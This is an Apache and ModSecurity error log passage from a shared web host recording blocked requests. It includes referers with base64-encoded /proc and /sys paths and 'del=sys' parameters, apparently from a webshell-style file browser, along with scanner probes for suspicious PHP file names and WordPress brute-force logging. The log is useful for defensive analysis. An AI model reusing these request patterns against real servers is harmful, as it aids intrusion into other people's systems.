[access_compat:error] [pid 531155:tid 531203] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0NQ== [Sat Jun 13 18:08:22.618358 2026] [security2:error] [pid 531797:tid 531910] [remote 17.22.245.109:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 109.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w9sTA7b1mZrmcA-8RCAACcy4"] [Sat Jun 13 18:08:22.647624 2026] [security2:error] [pid 531797:tid 531915] [remote 17.22.245.41:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w9sTA7b1mZrmcA-8RCQACNzM"] [Sat Jun 13 18:08:22.685535 2026] [access_compat:error] [pid 531155:tid 531228] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?del=sys&p=L3Byb2M= [Sat Jun 13 18:08:22.685827 2026] [access_compat:error] [pid 531155:tid 531228] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?del=sys&p=L3Byb2M= [Sat Jun 13 18:08:22.730690 2026] [access_compat:error] [pid 531797:tid 531965] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzc2NTg0 [Sat Jun 13 18:08:22.730998 2026] [access_compat:error] [pid 531797:tid 531965] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzc2NTg0 [Sat Jun 13 18:08:22.850073 2026] [security2:error] [pid 531155:tid 531348] [client 191.234.188.123:64617] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/waq.php"] [unique_id "ai3w9imiP80klyS0NnrqPgAAAUk"] [Sat Jun 13 18:08:22.892230 2026] [security2:error] [pid 531797:tid 531904] [remote 203.172.89.21:44918] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 21.89.172.203.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mirandacustomsbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3w9sTA7b1mZrmcA-8REAACgyg"] [Sat Jun 13 18:08:22.892443 2026] [security2:error] [pid 531797:tid 532110] [client 203.172.89.21:44918] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "mirandacustomsbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3w9sTA7b1mZrmcA-8REAACgyg"] [Sat Jun 13 18:08:22.940171 2026] [access_compat:error] [pid 531155:tid 531158] [remote 57.141.14.69:50026] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:22.940441 2026] [access_compat:error] [pid 531155:tid 531158] [remote 57.141.14.69:50026] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:23.096228 2026] [access_compat:error] [pid 531797:tid 531983] [remote 57.141.14.11:34351] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:23.096679 2026] [access_compat:error] [pid 531797:tid 531983] [remote 57.141.14.11:34351] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:23.110551 2026] [access_compat:error] [pid 531155:tid 531200] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:08:23.110848 2026] [access_compat:error] [pid 531155:tid 531200] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:08:23.157102 2026] [access_compat:error] [pid 531155:tid 531195] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?del=sys&p=L3Byb2M= [Sat Jun 13 18:08:23.157558 2026] [access_compat:error] [pid 531155:tid 531195] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?del=sys&p=L3Byb2M= [Sat Jun 13 18:08:23.245987 2026] [access_compat:error] [pid 531797:tid 531939] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9kb2M= [Sat Jun 13 18:08:23.246318 2026] [access_compat:error] [pid 531797:tid 531939] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9kb2M= [Sat Jun 13 18:08:23.279965 2026] [security2:error] [pid 531797:tid 531999] [client 191.233.234.186:53475] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/spawns.php"] [unique_id "ai3w98TA7b1mZrmcA-8RGwAAAhc"] [Sat Jun 13 18:08:23.546060 2026] [security2:error] [pid 531797:tid 532013] [client 191.233.234.186:60649] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.peoplecapitalglobal.com"] [uri "/yoy123.php"] [unique_id "ai3w98TA7b1mZrmcA-8RJQAAAiU"] [Sat Jun 13 18:08:23.631935 2026] [access_compat:error] [pid 531155:tid 531198] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:08:23.632222 2026] [access_compat:error] [pid 531155:tid 531198] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:08:23.642145 2026] [security2:error] [pid 531797:tid 532120] [client 20.151.217.54:48632] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/crgio.php"] [unique_id "ai3w98TA7b1mZrmcA-8RKgAAAow"] [Sat Jun 13 18:08:23.701556 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?del=sys&p=L3Byb2M= [Sat Jun 13 18:08:23.702025 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?del=sys&p=L3Byb2M= [Sat Jun 13 18:08:23.792477 2026] [access_compat:error] [pid 531797:tid 531918] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL3R0bQ== [Sat Jun 13 18:08:23.792759 2026] [access_compat:error] [pid 531797:tid 531918] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL3R0bQ== [Sat Jun 13 18:08:23.820260 2026] [security2:error] [pid 531797:tid 531949] [remote 17.246.23.130:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w98TA7b1mZrmcA-8RMwACj1U"] [Sat Jun 13 18:08:23.844392 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.19:36948] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:23.844702 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.19:36948] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:23.918038 2026] [security2:error] [pid 531155:tid 531315] [client 192.185.4.166:42242] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "155"] [id "900406"] [msg "wp-login POST logging"] [data "200"] [hostname "japaneseclassicmotorcycles.com"] [uri "/wp-login.php"] [unique_id "ai3w9ymiP80klyS0NnrqVQABKCs"], referer: https://japaneseclassicmotorcycles.com/wp-login.php [Sat Jun 13 18:08:24.040640 2026] [access_compat:error] [pid 531797:tid 531905] [remote 57.141.14.77:34381] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:24.040995 2026] [access_compat:error] [pid 531797:tid 531905] [remote 57.141.14.77:34381] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:24.065629 2026] [security2:error] [pid 531797:tid 531921] [remote 50.201.58.218:48304] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 218.58.201.50.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "nysas.org"] [uri "/wp-login.php"] [unique_id "ai3w-MTA7b1mZrmcA-8RPQACTzk"], referer: https://nysas.org/wp-login.php [Sat Jun 13 18:08:24.179451 2026] [access_compat:error] [pid 531155:tid 531207] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MS9wb3dlcg== [Sat Jun 13 18:08:24.179920 2026] [access_compat:error] [pid 531155:tid 531207] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MS9wb3dlcg== [Sat Jun 13 18:08:24.264008 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?del=sys&p=L3Byb2M= [Sat Jun 13 18:08:24.264461 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?del=sys&p=L3Byb2M= [Sat Jun 13 18:08:24.307953 2026] [access_compat:error] [pid 531797:tid 531930] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvODM5ODA2 [Sat Jun 13 18:08:24.308237 2026] [access_compat:error] [pid 531797:tid 531930] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvODM5ODA2 [Sat Jun 13 18:08:24.413211 2026] [security2:error] [pid 531797:tid 531992] [remote 17.241.227.68:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 68.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w-MTA7b1mZrmcA-8RUQACeX8"] [Sat Jun 13 18:08:24.490674 2026] [security2:error] [pid 531155:tid 531318] [client 172.171.3.232:61290] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/wp-class.php"] [unique_id "ai3w-CmiP80klyS0NnrqYAAAASs"] [Sat Jun 13 18:08:24.700590 2026] [access_compat:error] [pid 531155:tid 531248] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Mi9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:08:24.700896 2026] [access_compat:error] [pid 531155:tid 531248] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Mi9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:08:24.778101 2026] [access_compat:error] [pid 531797:tid 531932] [remote 57.141.14.45:64306] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:24.778378 2026] [access_compat:error] [pid 531797:tid 531932] [remote 57.141.14.45:64306] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:24.790449 2026] [access_compat:error] [pid 531155:tid 531245] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvODExMDAxL2N3ZC9kZXY= [Sat Jun 13 18:08:24.790782 2026] [access_compat:error] [pid 531155:tid 531245] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvODExMDAxL2N3ZC9kZXY= [Sat Jun 13 18:08:24.830726 2026] [access_compat:error] [pid 531797:tid 531977] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9kb2M= [Sat Jun 13 18:08:24.831026 2026] [access_compat:error] [pid 531797:tid 531977] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9kb2M= [Sat Jun 13 18:08:24.924580 2026] [security2:error] [pid 531797:tid 531890] [remote 17.246.19.227:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 227.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w-MTA7b1mZrmcA-8RYgACFxo"] [Sat Jun 13 18:08:25.120543 2026] [access_compat:error] [pid 531797:tid 531916] [remote 57.141.14.38:40343] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:25.120999 2026] [access_compat:error] [pid 531797:tid 531916] [remote 57.141.14.38:40343] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:25.265217 2026] [access_compat:error] [pid 531797:tid 531957] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:25.265506 2026] [access_compat:error] [pid 531797:tid 531957] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:25.276860 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9taWNlL3Bvd2Vy [Sat Jun 13 18:08:25.277298 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9taWNlL3Bvd2Vy [Sat Jun 13 18:08:25.288766 2026] [access_compat:error] [pid 531155:tid 531263] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvMzMwOTg4L2F0dHI= [Sat Jun 13 18:08:25.289196 2026] [access_compat:error] [pid 531155:tid 531263] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvMzMwOTg4L2F0dHI= [Sat Jun 13 18:08:25.321839 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.75:58714] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:25.322206 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.75:58714] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:25.330809 